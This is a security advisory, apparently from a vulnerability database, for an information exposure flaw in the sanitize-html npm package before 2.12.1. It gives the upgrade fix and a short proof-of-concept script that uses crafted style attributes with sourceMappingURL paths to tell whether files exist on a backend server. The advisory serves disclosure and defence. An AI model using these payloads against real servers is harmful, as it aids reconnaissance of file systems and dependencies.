Information Exposure Affecting sanitize-html package, versions <2.12.1



    Attack Complexity Low

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.04% (10th percentile)
Expand this section
Red Hat
5.3 medium

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • published 23 Feb 2024
  • disclosed 20 Feb 2024
  • credit Vsevolod Kokorin (Slonser) of Solidlab

How to fix?

Upgrade sanitize-html to version 2.12.1 or higher.


sanitize-html is a library that allows you to clean up user-submitted HTML, preserving whitelisted elements and whitelisted attributes on a per-element basis

Affected versions of this package are vulnerable to Information Exposure when used on the backend and with the style attribute allowed, allowing enumeration of files in the system (including project dependencies). An attacker could exploit this vulnerability to gather details about the file system structure and dependencies of the targeted server.


// index.js
const sanitizeHtml = require('sanitize-html');

const file_exist = `<a style='background-image: url("/*# sourceMappingURL=./node_modules/sanitize-html/index.js */");'>@slonser_</a>`;
const file_notexist = `<a style='background-image: url("/*# sourceMappingURL=./node_modules/randomlibrary/index.js */");'>@slonser_</a>`;

const file_exist_clean = sanitizeHtml(file_exist, {
allowedAttributes: { ...sanitizeHtml.defaults.allowedAttributes, a: ['style'] },

const file_notexist_clean = sanitizeHtml(file_notexist, {
    allowedAttributes: { ...sanitizeHtml.defaults.allowedAttributes, a: ['style'] },
console.log(file_exist_clean, "// valid file path on backend")
console.log(file_notexist_clean, "// invalid file path on backend")